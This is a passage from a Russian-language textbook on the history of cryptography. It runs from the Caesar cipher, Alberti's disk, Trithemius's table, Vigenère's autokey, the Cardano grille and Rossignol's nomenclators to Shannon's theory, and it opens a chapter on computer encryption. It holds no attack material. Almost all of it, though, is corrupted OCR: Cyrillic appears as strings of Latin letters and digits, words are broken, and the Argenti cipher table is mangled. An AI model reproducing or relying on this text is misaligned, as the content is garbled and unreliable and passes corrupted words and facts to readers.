niil: «...CymecTBYIOT H €ro muchMa x Llunepony u nucema k 6mus-
“UM O JOMAIHMX JE1ax: B HHX, €CU HYXKHO OBUIO coobmuTs uro-
wubyZIb HETTIACHO, OH TIONB30BANICA TAMHOMMCKIO, TO ECTh MEHAT By-
st TAK, YTCOBI M3 HUX HE CKIAABIBAIOCH HH OJHOrO CIOBA. YUTOOH
1100paTh ¥ MPOYMTATH MX, HYXHO YHTATb BCAKHM Pa3 UETBEPTYIO
ykBy BMCCTO NEpBOH, Harpumep, D BMecTo A u Tak aanee». Takum
vopasom, Llesaps 3amersan Oyksbl B COOTBETCTBHH C NOACTAHOBKOM,
MIDKHSSE CTPOKA KOTOPOH mpeacTasider coboit andasur oTKpEITOro
W KCTA, CABHHYTHIH IMKIMYCCKH HA TP OYKBH BJICBO.

Co spemen Lezaps no XV 8. mudposansroe aeno nperepne-
) MHOTO M3MEHEHMH, OTHAKO HAM MAJIO M3BECTHO O METOJAX M CHC-
wMaX MHQPOBAHHS, NMPHMEHSEMBIX B ITOT NEPHOJ BPEMEHH. B
“|¥IMHBIE TOABI CPEAHEBEKOBbA NPAKTHKA MH(POBAHMS COXPAHSIIACH
W crpojkaimel Taiine. Tak, B rOAB KPeCTOBIX IOXOAOB mH(pO-
mIbIMEH, cayxuBmye y Ianet PuMckoro, nocie roga paGoTs nox-
oKk QU3WYECKOMY YHHUITOKEHHIO.

B 3n0xy BospoxaeHns B HTAIbSHCKHX rOpOAax-rocyAapcTBax
MPUUIETBHO ¢ PACLBETOM KYJIBTYPHI H HAYKH AKTHBHO Pa3sBHBACTCS
vpnrorpadus. Hepeaxo ydensie 3aum@poBbiBaiy HAY9HLIE THITO-
i, 9TO0BI HE MPOCIHITH CPCTHKAMH M HE MOABEPTHYTHCH TPECHE-
AONAHIIM MHKBU3HITHH,

Hayunrie Meroas! B xprirrorpadum BEpBHE IOSBHIMCH, 11O
muIMoMy, B apalGekmx crpaHax. ApabeKoro mpoHCXOXACHHSA M Ca-
wo ¢1080 mmop. O TalHONMCH U ¢e 3HAYEHMH TOBOPHTCH JAXKE B
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ckaskax «Tvicsuy ¥ ogHOH HOoYM». Tlepras kuupra, CHEUMANBLHO 1O-
CBALICHHAS ONHCAHUIO HEKOTOPHIX MH(POB, mossriack B 855 r., ona
HasbiBanachk «Kuura o GONBIIOM CTPEMIICHHH “ENOBEKA pasrajarh
3araJkd ApeBHEH mAcsMEHHOCTH». B 1412 r. u3gaéres 14-tomuas
SHIMKIONCANA, COJACPXKAINas CHCTEMaTHueckuil 0030p Bcex Bax-
Helfmmx obnacreil wenoBeyeckoro suanuia, — «lllay6a ans-Ama».
Ee asrop — Ilexa6 ams-Kamxaugu. B 3Toil sHIpKIONCAHH €CTh
pazaen o kpunrorpaduu 1ox 3aroioBkoM «OTHOCHTENBHO COKPEITHS
B OykBax TaifHBIX COOOLICHMI», B KOTOPOM NPHUBOAATCA CEMb CIOCO-
6o mudpopanns. Tam xe paerca nepedeHs GyKB B NOPSAKE 9acTo-
ThI HX YHOTpeOlIeHHS B apabCKOM A3BIKE Ha OCHOBE M3YYCHHA TEKCTA
Kopana, a Taxke NpUBOASTCA IPHUMEPHI PaCKPLITHA MUPPOB METO-
JIOM YaCTOTHOT'O aHATTH3a BCTPEYACMOCTH OYKB. ,

B XIV B. nosBHIach KHHra O CHCTEMaX TAHHOIINCH, HAMMCAH-
Has COTPYJHHMKOM TaitHoN xannemipun Ilans Pumckoro Yskko Cu-
MOHETTH. B 370H KkHETe mpHBOASTCA IWAQPH 3aMEHH, B KOTOPHIX
rJIacHBIM OYKBaM COOTBETCTBYIOT HECKOJLKO 3HAYKOBBIX BBIPAXKE-
Hui. Takue mmdpsl modke CTamM HA3BBaThCA IMH(paMy MHOrO-
3HAYHOM 3ameHs! wiH oModoramu. OHu nomywwnu passurue B XV 8.
Taxk, B xuare «Tpaxrar o mudpax» I'abpuena ne Jlasmsms — cexpe-
taps nambr Kimvenrus XII — npusomutea onucanue mmdpa npo-
TIOPLHMOHAIBHOH 3aMCHBI, B KOTOPOM KaXI0H OykBe CTaBHTICH B CO-
OTBETCTBHE HECKOJIBKO SKBHBAICHTOB, YHCIIO KOTOPHIX MPONOPLHO-
HAJIbHO 9aCTOTE BCTPEIAEMOCTH OYKBH B OTKPHITOM TekcTe. B 1469
r. 6un mpexnoxen moxofubti xe mudp, noxymepmi HazsaHue
«uIaHcKku# now». [lossneHue oMO(MOHOB CBHAETENLCTBOBAIO O
TOM, 9TO K ITOMYy BPEMEHH YKC XOpOLIO OCO3HABANHM CralbOCTH
mudpor npocroit 3amennt. Taxas Mopudrxams mudpa paspymana
CTaTHCTUKY OYKB OTKDHITOTO COOOIICHHA, YTO SBHJIOCH 3aMETHBIM
IIaroM B Pa3BHTHH KpHIITOrpadum.

Eme omus 3nauMrensHbIi mar snepexn Kpumrrorpadus caenan
6naromaps Tpyay Jleona Ansbepru. Ussectusiit dunocod, sxusonm -
cell, apXHTeKTop, oH B 1466 r. Hamucan tpyx o mudpax. B 31oii pa-
Gore Grit npeanoken mMdp, OCHOBAHHBIN HA HCTIONB30BAHMH UG-
posansaoro qucka. Cam AnpbGeprd Bassan ero mu@pom, «JOCTOk-
HBIM KOPOJIEi».
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ITudposanbhbit
JMCK TpeacTaBisin  cooit
APy COOCHBIX QHCKOB pas-
noro Auamerpa. bompimmit
3 HUX -— HEIOABYDKHLIM,
¢ro OKpPY’KHOCTH DPa3f€icHa
na 24 paBHEIX CEKTOpa, B
xoropbic Brucansl 20 Oyxs
naruHCkoro andaeura B UX
CCTECTBEHHOM TOPSAKE U
4 uudprt (ot 1 1o 4). Ilpu
woM H3 24-OyKBEHHOTO ali-
(aBura OBUM  YAQICHDB
A0ykBE, ©e3  KOTOPBIX
MOXHO OO0 00OHTHCH, ITO- .
n06HO TOMY, KaK B PycckoM s3bike obxomsrcs 6e3 b, E, M. Menb-
muil AMCK — HOABHYKHAIH, MO €r0 OKPY>KHOCTH, Pa3OHTOH TaKKe Ha
24 cexTopa, Obinmu BrmcaHei BCe OYKBBHI CMEINAHHOTO JaTHHCKOIO
widasuTa.

Vimes apa Taxux rnpubopa, KOPPECTIOHAEHTHE JOrOBAPHBAIMCH
0 nepBoi HHEKCHON Oykse Ha momBmxHOM gucke. [Ipun mmdposa-
NHHE COODIICHMs OTTIPABHTCAb CTABMI HHACKCHYIO OyKBY DPOTUB
moBoi Gykest Conbuero aucka. O HHGOPMHPOBAN KOPPECIIOHCH-
11 0 TAKOM TIONOXEHUH JUCKA, 3aMMCHBasA 3Ty OYKBY BHEIIHETO JHC-
K1 B xagecTBe mepsod Oyksnl wwmdporexcra. Ouepennas Oyxsa oT-
KPHITOTO TEKCTA OTHICKUBATIACH HA HEMOJBIDKHOM JHMCKE M CTOSINAs
nporus Hee GykBa MEHBINETO AUCKA SBJIAIACh PEIYABTATOM €€ mud-
posarus. TTocne Toro kak Geiny 3amuppoBasbl HECKOIBKO OYKB TEK-
¢1a, MONOXKEHHE MHACKCHOH OYKBHI H3MEHAIOCh, O YEM TaKKE Ka-
kuM-TT00 00pa3OM NEpeaBaIoCh KOPPECTIOHACHTY.

Taxoit mup uMen ABe OCOOCHHOCTH, KOTOPHIC AENAIOT M30-
Gpererme Annbepra coObrTHEM B HCTOpuM Kpummorpaduu. Bo-
HCPBEIX, B OTIM4ME OT WHU(POB MPOCTOH 3aMEHBI MHPPOBATBHBIH
JMCK MCTIONB30BA HE OMH, a HECKONBKO andasuros A mudposa-
nust. Taxue mmdpsl nomywwnu Hassanue MHoroandaeuTHeX. Bo-
nopeiX, wMpoBaNBHEIN AMCK MO3BOII MCHONB3OBATH TAK HA3KI-
MICMBIE KOABI ¢ TIEpeU(pPOBaHAEM, KOTOPHIE MOJYIHIH INHPOKOES
pacmpoctpaHenie mHmb B konie XIX B., TO €CTh CHYCTS 4ETHIPE
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croneTus nocne wiobperenns Anpbepru. J{ns 3108 uenu sa pHEm-
HEM JMCKE HMETHCh nudpol. Ans6epTs COCTaBHN KOJA, COCTOAMHH 13
336 xonoBmix rpyun, saHymeposaHusix o7 11 no 4444. Kaxpomy
KoRoBOMY ODO3HAYCHHIO COOTBETCTBOBAIA HEKOTOPAS 3aKOHHCHHAS
dpasza. Korga taxas ¢pasa scrpedanacs B OTKPHITOM COOOIICHMN,
OHA 33aMCHANACH COOTBEICTBYIOIIHM KOJOBBIM OOOZHAHCHHEM, a C
TIOMOIEBIO JUCKZ IHQPH 3AmHQpOBLHBAIMCE KaK ODBIYHEIC 3HAKH
OTKPHITOTO TEKCTA, NPeBpamasch B OYKBEL.

borateiv Ha HOBBIC wWicH B kpumTorpadmm oxasancs XVI s.
Meuoroangasurabie mMudpH NONYYWH PAa3BHTHC B BeIIEINCH B
1518 r. mepBoif newaTroH KHHre N0 KPHOTOIpaQUH IO HA3BAHHCM
«Jlonurpadus». ABropom xuwmru Gpill O/TMH M3 CAMBIX 3HAMEHHTEIX
yaenwix Toro Bpemenm aGbar Horannec Tputemmit. B sroit xuure
BUCPEHIE B xpumrrorpaduu nmossngercs xBagparHas rabmuia. Hlad-
poandaBuTh 3anECaHH B CTPOKM TaONHIB! OZMH TOJ APYTHM, NpH-
deM KaXkAeIH H3 HUX CABMHYT Ha OQHY HO3WIMIO BJISBO II0 CPaBHC-
HHIO C HPSABIAYIHM.

Tabnrma Tpuremis BHIISACHA CIEAYICHH
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Tpuremuii npexnaran MCHOML3OBATE 3TY TAOMMIY It MHOTO-
anpaBUTHOTO IMPPOBAHUA CAMBIM NPOCTHIM M3 BOZMOMKHEX CHIOCO-
bos: mepsast Gyksa TekcTa WEGPYETCS NEPBHIM an(asuToM, BTopas
hyKB2 — BTOPEIM B T. A. B 310#i 1abmune He GHMIC OTACIBHOTO aji-
(pasuTa OTKPHTOIC TEKCTA, MK 370H Henu ciyxun andasur nepsoit
crpoxs. TaxuM oGpazoM, OTKPBITHIH TEKCT, HAYAHAIOIUIC CO CNOB
HUNC CAVETO VIRUM, npuobperan sux HXPF GFBMCZ
I'UEIB.

[pesmymecTeo 3T0ro METOAR INHMDOBAHKA O CPABHCHMIO €
merooM AnsGEpTH COCTOMT B TOM, 9TO ¢ KKAOH GykBO# 3ameicT-
nycres HOBBIH andasmr. AmpCeprm meHan andasursl jamb MOCHE
IPCX HWIIH 4eTHIpEX cnos. 1103TOMY €ro muMpOTEKCT COCTONI U3 OT-
[W3KOB, K5I M3 KOTOPHIX 00NAZAN 3aKOHOMCEPHOCTAMH OTKPBITO-
10 TEKCTA, KOTOPHIE IOMOTay BCKPHITH Kpumrorpammy. [lobyxsen-
no¢ MAQPOBAHKE He AzeT Taxoro npeumymecrsa. IHudp Tpuremus
ABBIETCS TAIOKE TIEPBHIM HCTPHBHAJILHBIM NPHMEPOM [CPHOLAYC-
cwore mwmdpa. Tak maswmBaercs MHoroandasuTHeil mudp, IpasuIo
nupOBAHHS KOTOPOTO COCTOMT B HCHONL30BAHUM HCPHONHICCKH
HOBTOPAIOLICHCS TIOCHEAOBATEILHOCTH MPOCTHIX 3aMEH.

B 1553 r. [xosansu Barricra benazo npemiokun ¥enoi3o-
wirh A MEOrcan(aBuTHOTO mAQpa OYKSCHHLIH, JErko 3aMOMH-
IMCMBIN KITIOY, KOTOPRIK OH Ha3san naponem. IlaponeM morno cuy-
wNTh CIOBO wiH Gpaza. Ilapons DEPHORMYCCKH 3ANHCHIBAICS HAJ
OTKPBITHIM TEKCTOM. bykea mapons, pacmonouessas sHajx OyxBoi
1ekeTa, yKasbiBana Ha andarut talbmpusl, KOTOPHIH HCHONb30BAICS
wr mubposanws yro# Oyxssl. Hanpumep, 310 Mor Guits andasur u3
vabmar Tpuremus, nepsoi Oyxsoi xoToporo Asisuiace Oyxsa na-
postst. Opsmaxo Benazo, xax w Tpuremuii, HCHONL30BA B KaYeCTBE
mndpoandasHTor oObrHBIE aIDABHTS.

Eme oxso BakHOS yCOBEPIEHCTBOBAHMUE MHOrOANPABATHBIX
CHCTEM, COCTOALICE B HACE MCIOB30BAHMA B KAYECTBE KIIHOHYA TEKCTA
vaMoro coobmenus By e mudpoBaHHOTO TEKCTa, NPHHANICHKHT
Jixeponamo Kapaano u bnesy ne Bwxenepy. Taxo#t mudp Gsin na-
man camokmodom. B xmure Brokenepa «Tpaxrar o mudpax» camo-
w109 DPEACTABACH CrexytomuM obpasom. B mpocreiimem crydae 3a
ocHoBy Gpanacek tabmana Tprremus ¢ fobasneHHbMM K sell B kave-
Cr8€ TIEPBOHM CTPOKH ¥ MEPBoro crondua andasHTaMu B HX €CTECT-
neuaoM nopanke. [losue takas rabmia crana wassisarses Tabmauuei
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Bmxenepa. Oxgnaxo B o0iem crygae Tabmuna Broxenepa cocrout u3
MHKIAYECKH CABHIAeMBIX ANaBHTOB, MPHUYEM IIEPBAs CTPOKA MOXET
ObiTh POUIBOILHEIM CMECIIAHHEIM AJIQABHTOM.

Ilepras crpoka cayxur andaBUTOM OTKPHITOIO TEKCTA, a MEp-
BEIE cronben — andasuroM xmoda. Jis muppPOBAHAS OTKPHITOrO
coobuienus BinkeHep npeanaran B Ka4ecTse KIIOYCBOH MOCHEA0BA-
TEJIBHOCTH HCTIONB30BATE CAMO COOOIECHHUE ¢ KOOABICHHON K HEMY B
HaYyaJie HEKOTOPOi# OYKBBI, H3BECTHOH OTHPABHTEIIO H IOMY4aTEIIo.
B umagpe Kapaano xmouesas OykBa OTCYTCTBOBANA, M CHCTEMA HC
obecrnieunBalia OAHO3HAYHOCTH pacmrdpoBanus.

Camoxmoa Bwxenepa 6s11 HesacnyxeHHO 3a0bIT Ha JoNroe
Bpems, a nog muppom BrkeHepa A0 CHX MOp NMOHHMMAIOT CaMbIi
NPOCTOM BapUaHT ¢ KOPOTKHUM KJHOYEBBIM CIHOBOM H ¢ Tabnuuei, co-
crosmeit u3 oOMYHEIX aN(aBUTOB.

Jhkeponamo Kapaano tawke NMPHHAAICKHAT HACH TOBOPOTHON
PCIIETKH Kak cpeactea mmdposanus. M3nagameHo o0panas pemer-
Ka mpeAcTaBisuia Cofoi JMCT U3 TBEPAOrO MAarcpyana, B KOTOPOM
4epe3 HENPABHIBHLIC HRTCPBALI CACHAHB MPAMOYTONLHEIEC BBIPE3b!
BBICOTOH I OJHOH CTPOYKH M pasIuyHO# el Hakmaneisas oty
PEIETKY Ha JHUCT mucueii Gymary, MOXHO OBLIO 3anMCHIBATL B BHIPE-
361 cexperHoe coodmenne. Ilocne 3Toro, CHAB peLIETKY, HYXHO O
7O 3aMOMHUTH OCTaBHIMECS CBOOOAHEIE MECTAa Ha JMcTe Oymarm He-
KHMM TEKCTOM, MACKHUPYIOIIMM CEKPETHOE COOOImEeHuE.

ITOT METOA BIOCICACTBHH HEPEIIen M3 0DNacTH KpHITTOrpa-
$uu B crerancrpadc.

Henp3s we ynomanyts o Mareo Apmxentu, paborasmero n
obnactu kpunrorpaduu B Havane XVII 8. On BhepBEie IPEIIOKII
HCIIONB30BaTh HEKOTOPOE CIIOBO B KAYECCTBE MHEMOHHYCCKOrO KITIOH:
ans cMemanHoro angasura. Haganom cmemansoro andasura ciy-
KHIIO KNIOUEBOE CI0BO (KaK npasmio, O6e3 nopropsomuxcs Oyks), 3:
KOTOPHIM CICAOBAIH OCTANBHHIC OYKBBI B HX ECTECTBCHHOM IOPSAKC.
Hanpumep, xnoaesoe cnioeo PIETRO mact cMelmanHBIH NaTHHCKHI
andasur

PIETROABCDFGHLMNQSUZ

Taxne cMemanHbie andaBUTE YacTO HCIIOIL30OBANNCH B Kauc
crBe andasuros mudporexcra B mudpax npocToit 3aMeHbI.

C nempro ycnoxuenns mmdpa nmpocroi 3aMEHB ApDKEHTH
BBOJMN TYCTHIIKH, KOTOpbie X00aBiUHCh B INHU(POBAHHOS COOD
100

I(EHHE; UCIIONB30BAN MU(PPOOOO3HAYECHHS PA3HO#M 3HAYHOCTH; AN
HCKOTOPBIX YACTHIX COYCTAHMI GVKB TEKCTA BBOAHI OTAENbHKIE 060-
JHAUCHMs; NPHAABAT YacTHIM OyKBaM HECKONBKO OBO3HAYCHHM.
lNoaxe nogobHbIC HAEH MONYYHIN IMHPOKOS PaCTIPOCTpAHEHHE. Pac-
cMOTpHM npaMep mudpa ApIKSHTH.
A|IBI|C|{DIEJFIGI|H LIMINJO
9

1181022016222/ 06{60|3 1|24 126]|84
82

el

P{Q[R[S|[T]U]Z]|ET|] CON | NON | CHE
66|68 |28 | 42|80 |04 | 88| 08| 64 00 | 44
40

<N »n S

Croso ARGENTI moxer ObiTh 3amindpoBanc MHOIHMH CIO-
cobaMH, HarIpIMEp, Tax:

5128068285480377

HITH )K€ TaK:

172850675628455803

Haubomsmum xocTiokeHueM ApJUKEHTH cuuTaercs paspabo-
TOHHBIH MM OYKBEHHbIH KOX — OJHMH M3 MH(PPOB 3aMEHEI, B KOTOPOM
(yKBBI, CIIOTH, CIOBa M Lieisic (passl 3aMEHATHCH rpyrmami Oyxs.

B ucropun xpunrorpadpum XVII — XVIII B. HaspiBaror 3poit
«IepHBIX KaObuHETOB». B 31OT NIepuon Bo MHOrux rocyaapcrsax Es-
[)OTIBI, B IIEPBYIO O4epeAs BO DpaHiMK, MOMYYHIH pa3BUTHE Acuiud-
POBAJILHBIC TIOAPAIACHCHMA, HA3BAHHBIC <«IEPHBIMH KAOWHETAMI».
llepsriit 13 HUX 00pa30BaH IO HHUIMMATHBE KapAUHAIA Puinense npu
asope xopons Jlronosuka XIII. Ero Bosrnasmi mepssiii npodeccuo-
naneHei kpanrorpad @pampm Antyan Poccunbsoms. Cregyer or-
MCTHTB, JTO HEKOTOPHIC OPHIHMHAILHBIC HACH, BOSHHKIIHE B KPHIITO-
rpadHHl B 3TOT MEPHOA, CBA3aHBI C HMEHEM camoro Pumense, KOTO-
PbE HCIIONB30BAN, HAPHMED, ML CEKPETHOH NEPENMCKH C KOPOJIeM
OPHIFHBANBHBIH mHdp IEPECTAHOBKHU C IEPEMEHHBIM KIIIOUOM.

B 10 Bpema B EBpone momyumnm 1mHpokoe pacnmpocTpaHCHHE
mudpHI, HA3BIBACMBIC HOMEHKIIATOpaMu, O0beAUHSBIIE B ceOE po-
¢ryIo 3aMEHY U KOA. B mpocTelmux HOMEHKIATOPaxX KOX COCTOSAN U3
HCCKONBKHAX ACCATKOB CIIOB MH (hpa3 ¢ AByXOyKBEHHBIMH KOAOBBIMH
obosHadeHuamMu. CO BPEMEHEM CIIHICKH 3aMEHAEMBIX CIIOB B HOMCHK-
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JIATOPAxX YBEMHMMINCH JO ABYX HIIHM TPEX THICSY 3KBHBAJICHTOB CJO-
roB u cioB. B napcko#i Poccun X VIII B. 3ak0XHPOBAHHOE OTKPBHITOE
coobmenre nmdpoBanoch ganee MPoCcTol 3aMEHOMH.

Kcraru, Heckonbko ciroB 0 pycckoil kpumrorpadem. Yxe ¢
XIV 8. 8 Hosropoae cymecrBoBana TeXHuKa TaiiHoro mucbma. Mc-
NONB30BAMCE B OCHOBHOM Imu(pei mpocto#i 3aMeHsi. bmarozaps
ToproesiM cBa3aM Hosropoaa ¢ I'epmanmeit 8 Poccun cranoBsrcs
M3BECTHBIME MHOTME 3alagHbie Da3paboTKH, B TOM HYHCIC HOBHIC
CHCTEMBI DIM(pOBaHuA. YUYpPEKACHHE TMOCTOIHHON NOYTOBOH CBA3M
Poccun ¢ EBponoii Aano BO3MOXKHOCTG Pa3sBHTHIO IU(pPOBAHHON
nepermucku. Brarogaps npusnewennro Ilerpom [ ana paspaGorku
IPOEKTOB PasBHTHA OOpa3oBaHMs H TOCYAAPCTBEHHOrO YCTPOHCTBA
Poccuu 3namenuroro I'otdpruaa Bunerenema JleiGuuna, xoropsrit
usBecTeH u xak kpumrorpad, s IlerepOypre mossunach nmdmpHas
aJaTa, 3a4a4aMy KOTOPOii ObLIO Pa3sBUTHE H MCIIOIB30BAHMCE CHCTEM
mHpOBAHHA.

Korza PoccrspONs BauuHA CBOIO KApPhEPY, B HOMEHKIATOPAX
KAK DJIEMEHTH OTKPHITOrO TEKCTa, TAK K AJIEMEHTH KOAA Pacriojara-
MHCh B a(paBHTHOM NOpsAKe (Fimt B an(paBUTHOM M JHCIIOBOM IIO-
psaake, ecnd kox Owbin updpoBoit). PoccHHBONEB 3aMeTH, YTO TaKOH
«TapajIeIu3M» OTKPHITOrO TEKCTA M KOAa obnerdan BOCCTaAHOBIE-
HME OTKPHITOro Tekcra. Ecnu, Hampumep, OH yCTaHaBIMBAX, UTO B
aur/miickoi aeneme 137 samenser FOR, a 168 — IN, 10 oH yxe
3nan, yro 21 e Moxer 3amensts TO, Tak xak 1mppPOBEIE KOXOBHIE
0003Ha9EHUS I CIOB, HAYMHANOWMXCS C T, ZODKHBI ObITh GONMbIIE,
HEXENM U1 ClIoB, HayuHatompxcs ¢ 1. Obnapyxus takyio cnabocrb,
Poccuupons mepeMemmBan KOZOBBIE 3JIEMEHTEI HO OTHOIICHUIO K
oTkpeiToMy Texcty. Ha ogHoM jmucTe on pacmonaran 3meMEHTH OT-
KPBITOT'O TEKCTa B an(aBUTHOM MOPSAKE, & KOMOBHIC 3MEMEHTHI —
Bpa3dpoc, Ha APYroM JHCTE i obnerycHus paciugpoBasus KOXO-
BHIC 3JIEMEHTHI CTOAIM B a1()aBUTHOM MOPSJIKE, TOrAA KaK HX OTKPHI-
THIC SKBHBAJICHTH ObumH pa3bpocassl. D10 ABWIOCH 3HAYMTEIBHBIM
YCOBEPIICHCTBOBaHHEM MORoOHbIX mmpocucrem. Opuako cocras-
neHue Hean(haBUTHHIX HOMEHKNATOPOB OOXOOHIIOCK OYEHB JOPOTO H,
TaKAM 00pasoM, N0 cOOOPasKCHHUAM SKOHOMHH H B Yep0 HANEKHO-
CTH, MHOTHC HOMCHKJIATOPHl PErPECCHPOBANIH K YIPOIMCHHOMY ai-

(basuTHOMY THIIY.

102

Bo sropoii monosune XIX Beka nogBUICA CIOCOO yCIOXKie.
Nus THCIIOBEIX KOJOB Ha3BaHHMIH ramvuposanmeM. OH 3aKa09aeTey
b nepemm(poBaHuK 33KOTUPOBAHHOTO COODIIEHHS ¢ MOMONIBIO K.
KOTOPOro KTH04EBOrO 4ucna — rammul. Onepaiys HANOXEHHS Tay,
MBI — 3TO CJIOXKEHHE KONOBBIX TPYIII C FaMMOM, CHATHE TAMMEL __
norupTanyie. CoOCTBEHHO MM(PHI 33MEHBI MOXKHO 3aAMEHHTH TaMqy.
POBAHHEM € COOTBETCTBYIOIIMM MOZYIIEM.

Brijaronmiecst pesynbTaThl B HPUMECHCHHHM MATEMATHUCCKyy
METOZOB B KpunTorpadun nprHaanesxkar Knony Hlennony. K. Mgy
HOH HOTy4r)T 0OpPa3OBAHHME IO IICKTPOHHKE H MATEMATHKS B Mgy,
rAHCKOM YHMBEPCHTCTE, TAC M HaUal NPOABIATE HHTEPEC K TEODyy
¢Bs13 1 Teopun mudpos. B 1940 r. on nonyumn creneHs AOKTOPA nq
MATEMaTHKe, B TeueHHE roga obysancs B [IpuHCTOHCKOM HHCTHTYY
YCOBEPIIEHCTBOBAHKLL, NOCNE 9€ro Gbil MPUHAT HA CIyX0y B naGy.
patopmo xommnatmu «Bell Telephone»,

K 1944 r. K. Hlennon 3asepumun pa3paboTky TEOpPHH CEKper.
10¥ CBsi3u. B 1945 r. um G611 MOArOTOBIEH CEKPETHRIH M0KIAX «Mj.
ICMATHHECKAs TEOPHsL KPUITOTPadum», KOTOPbIH GBI PacceKpetey 5
1949 r.

B nmamno#t pa0oTe M3naraeTcs TEOPUS TAK HASHIBACMBIX Cey.
PCTHBIX CHCTEM, Clyxammx (QaKTHHeCKH MATEMATHIECKOH MONENL,
mudpos. Tlomumo ocHoBHBIX anrebpauteckux (wiH QyHKIHOHAN,
NbLIX) CBOHCTB IIM(POB, MOCTYTMPYEMBIX B MOJETH, MHOMXECTBA (g
oOmenuit ¥ KIIOYEH HANEIIOTCS COOTBETCTBYIOLTHMH ANPHOPHbiMy
NCPOSTHOCTHBIMH CBOHCTBAMM, YTO ITO2BOIAET HOPMATHIOBATE Mig.
‘e OCTAHOBKYM 33734 CHHTE3a M aHanu3a umdpos. Tak, u ceromyy
npH pa3paboTke HOBHIX KIACCOB INH(POB UIHPOKO MCIONb3YeTey
npusuun IlleHHona paccenMBaHUs M NEPEMEHIMBAHES, COCTOAIIMIY 5
HCTIONB30BAHHH NPH MU(POBAHHHM MHOIMX MTEPAIMH «PacCeHBayy.
NMX» ¥ «ICPEMEIMBAOIMX» IPeoOpazoBaHMmii.

PaspaGorannsie K. llleHHOHOM KOHIENIME TEOPETHYCCKON
NPAKTHIECKOH CEKPETHOCTH (MM CTOHKOCTH) NO3BOSIOT KOMMYEC,.
BCHHO CLICHMBATE KpHNTOrpadudeckue kagecTsa MuGPOB U IbITay,
¢ CTPOMTH B HCKOTODOM CMBICIIC MACATHHBIC HJIM COBEPIICHHYe
umdpr. Moaenupyercss Taloke M A3bIK OTKPHTHIX COOBMCHMI. A
WMCHHO, MpPEANAraeTCsi PacCMaTPHBaThL A3MK KAK BEPOSTHOCTHuj
11POLECC, KOTOPBIH CO34AET AUCKPETHYIO MOCIEAOBATCILHOCTD Chy.
1OJIOB B COOTBETCTBHM C HEKOTOPOIf BEPOSTHOCTHOH CXEMOH.
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Llentpansroii B paborax K. llleHHoHa sBASETCS KOHUCTIMA
m36pTouHOH HE(OpMALK, COACPIAMEHCS B TCKCTOBBIX COOOLICHH-
ax. VI36BITO9HOCT 03HAYAET, 9T0 B COOOMEHuH coaepamTcs Oolpime
CHMBOJIOB, 94¢M B ACHCTBUTENBHOCTH TPeOYyeTCs U MEpefaiun co-
Aepxameiics B HeM MH(OpMaLmH. Hanpumep, BCETO JHIb ACCATE
aurmiickax cios — the, of, and, to, a, in, that, it, is, 1 — cocTaBi-
for Gonee 25% moboro (AHrIHHACKOro) TEKCTa. JICTko MOHATh, IT0 HX
MOMKHO H3bATh U3 Tekcra 6e3 norepy uHbopMaLuy, Tak KaK HX JIErKO
BOCCTAHOBHMThH TIO CMBICHY (WM NO KOHTEKCTY). DaxTHyecKu K.
IIlcHHOH NOKA3aJ, 9TO YCHEX KPHIITOAHAM3a ONpPEACIHCTCA TCM,
HACKONbLKO H3OBITOYHOCT, MMEIOMANACH B COODIICHMH, «TICPEHOCHT-
cs» B mmpposamnsii Texcr. Ecim mudposanHe «CTHpAcT» H30bI-
TOUHOCTb, TO BOCCTAHOBHTBH TEKCT COOOIMEHHA IO KPUITOrpamMme
CTAHOBHTCS HPHUHIMIHAIGHO HCBO3MOXHO.

B manbeeiiieM 3TH METOAb ObUM B3ATHI 33 OCHOBY NPH pa3-
pabOTKE MEXaHHHUECKHX U JMEKTPOHHBIX CHCTEM mudpoBaHHsL.

T'JIABA 9.
Komnbrorepsas kpunrorpadus.
Ilndposanne nau ofecneuenne KOHPHACHIHANLHOCTH

IHndposanne (obecreyeHne KOHPHACHUHAILHOCTH) —
pCHICHHE TPOOIEMBI 3amuThl HHGOPMALMH OT O3HAKOMICHHA C €¢
COAEPIKAHHUEM CO CTOPOHEI JIHII, HE HMCIOIMX MPasa AOCTYNa K HEH.
B 3aBHCHMOCTH OT KOHTEKCTa BMECTO TEPMHMHA «KOH(HICHIMATDb-
nis» HHQOPMAUHA MOTYT BHICTYUATh TCPMHHBI «CEKPETHAs», «4acT-
NSk, «OrPAHWIEHHOTO AOCTYNA» HH(POPMALIHS.

Ilindp — cemelictBo oOpaTHMBIX NMPeoOPa3OBaHMH, KadkAOC
I} KOTOPHIX ONpPEACIHETCS HEKOTOPBHIM IAPaMETPOM, Ha3HBACMBIM
KIIO4OM, @ TAIOKE IOPSIKOM IPUMEHEHHS JaHHOro npeobpasoBanus,
NA3BIBASMEIM DEOICUMOM MuPPOsanus.

Kntou — 370 BaOkueHmui KoMrnoHeHT mudpa, orBeYaromui
w BeIOGOp mpeobpasoBanus, rpuMeHseMoro M wHgpoBaHus KOH-
xpetHoro coobmenuns. OOLIYHO KITIOY Npeacrasiser coboi HEKOTO-
pyi0 OYKBEHHYIO HIIH YHCIIOBYIO IOCIEAOBATEIBHOCTh, KOTOpPas Kak
(I KHACTPAUBACT» AITOPHTM IMUPPOBAHMA.

Kaxnoe npeobpazoBanyie OAHO3ZHATHO ONPEACIACTCS KIHOYOM
# OIMHCH{BAETCA HEKOTOPHIM KPUIITOTPa(pMYSCKHM  QJITOPHTMOM.
()i H TOT k€ KPHHTOrpadHICCKHii aNropuT™M MOXXET IPHMCHATHCS
st IgpOBaHKA B Pa3HYHEIX PexXxuMax. TeM caMbIM PeaTH3yIOTCs
pasYHbie cnocoObl mudposanus (IIpocTas 3aMEHa, TaMMHPOBAHHE
o 1. 1.). Kaxensiii pexxum mudposanns uMeeT Kak CBOH IPEeHMyIe-
«rBa, Tax M HeAocrarku. [losToMy BHIGOp pexkHMa 3aBHCHT OT KOH-
xperHoH curyarmH. Ilpu pacmmdpoBaHuu HCIOMB3YETCA KPHIITO-
rpadugecknii anropaT™, KOTOPHH B 0o0meM crydac MOXET OTIH-
"MOTBCS OT ATOPHTMA, MPHMEHAEMOro i mudppoBanud COOOINEHHS.
('00TBETCTBEHHO MOTYT PasnM4aTsCsA KmouM mpoBaHMS H pac-
mupoBaHms.

Iapy anropurmos mudpoBanus u pacimmdpoBanus OOHYHO
SHIBAIOT KpHOTOCHCTeMOl (LUHPpocHCTeMOdi), a pean3yIoIue
X yCTPO#HCTBA — IMH(POTEXHHKOIA.



Ecnu obosuaqmrs yepes M orkpeiroe, a uepes C mmudposan-
HOE COODmeHMs, TO mpouecchl mudposaHus ¥ pacmmdposarms
MO)KHO 3aITHCATh B BUAC PABCHCTB:

E (M)=C,

D, (C)=M,

